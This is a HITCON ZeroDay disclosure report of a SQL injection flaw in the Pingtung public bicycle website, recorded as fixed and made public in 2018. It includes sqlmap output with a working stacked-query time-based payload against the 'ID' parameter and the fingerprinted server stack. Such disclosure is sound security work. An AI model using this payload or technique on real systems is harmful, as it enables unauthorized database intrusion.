Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-00448
- Vendor: unknown
- Title: 屏東公共自行車資訊網網站存在SQL-Injection弱點
- Introduction: 網站存在SQL-Injection弱點
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2018/04/09 15:00:25 : 新提交 (由 傳說中的廢人 更新此狀態)
- 2018/04/09 21:56:40 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/15 02:43:16 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/15 02:43:17 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/15 02:43:18 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/06/04 16:12:04 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/06/04 17:55:15 : 確認已修補 (由 傳說中的廢人 更新此狀態)
- 2018/06/08 03:00:45 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-00448
- 通報者:elijiachen (傳說中的廢人)
- 風險:中
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
GET parameter 'ID' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 82 HTTP(s) requests:
Parameter: ID (GET)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: ID=60;WAITFOR DELAY '0:0:5'--
[09:55:41] [INFO] testing Microsoft SQL Server
[09:55:41] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[09:55:48] [INFO] confirming Microsoft SQL Server
[09:56:20] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 8.1 or 2012 R2
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 8.5
back-end DBMS: Microsoft SQL Server 2012
[09:56:20] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[09:56:20] [INFO] fetched data logged to text files under '/tmp/sqlmapWXrazT3940/sqlmapoutputtz5Gll/pbike.pthg.gov.tw'
[*] shutting down at 09:56:20